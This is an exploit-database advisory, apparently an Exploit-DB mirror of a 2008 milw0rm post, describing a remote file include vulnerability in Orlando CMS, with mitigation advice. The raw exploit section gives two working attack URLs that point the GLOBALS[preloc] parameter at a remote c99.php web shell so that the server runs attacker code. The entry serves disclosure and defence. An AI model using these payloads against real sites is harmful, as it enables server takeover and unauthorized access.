Orlando CMS classes Remote File Include Vulnerabilities

vendor:

Orlando CMS

by:

Ciph3r

8.8

CVSS

HIGH

Remote File Include

CWE

Product Name: Orlando CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Orlando CMS classes Remote File Include Vulnerabilities

Orlando CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary PHP code within the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Mitigation:

Users should upgrade to the latest version of Orlando CMS. Additionally, users should ensure that input is properly sanitized before being used.

Source

Exploit-DB raw data:

###############################################################
#
# Orlando CMS classes Remote File Include Vulnerabilities
#
###############################################################
#
# Discovered by : Ciph3r
#
#
# MAIL : Ciph3r_blackhat@yahoo.com
#
#
# SP TANX4 : Iranian hacker & Kurdish Security TEAM
#
#
# CLASS : remote
#
# download cms: http://sourceforge.net/project/showfiles.php?group_id=195547
#
################################################################
#
# C0de :
#               
#               
#  include($GLOBALS['preloc']."modules/core/logger/sticky.php");
#     
#       
###############################################################

EXPLOIT :

http://127.0.0.1/cms/Orlando/modules/core/logger/init.php?GLOBALS[preloc]=http://127.0.0.1/c99.php?

http://127.0.0.1/cms/Orlando/AJAX/newscat.php?GLOBALS[preloc]=http://127.0.0.1/c99.php?

#####################################################################

# milw0rm.com [2008-06-19]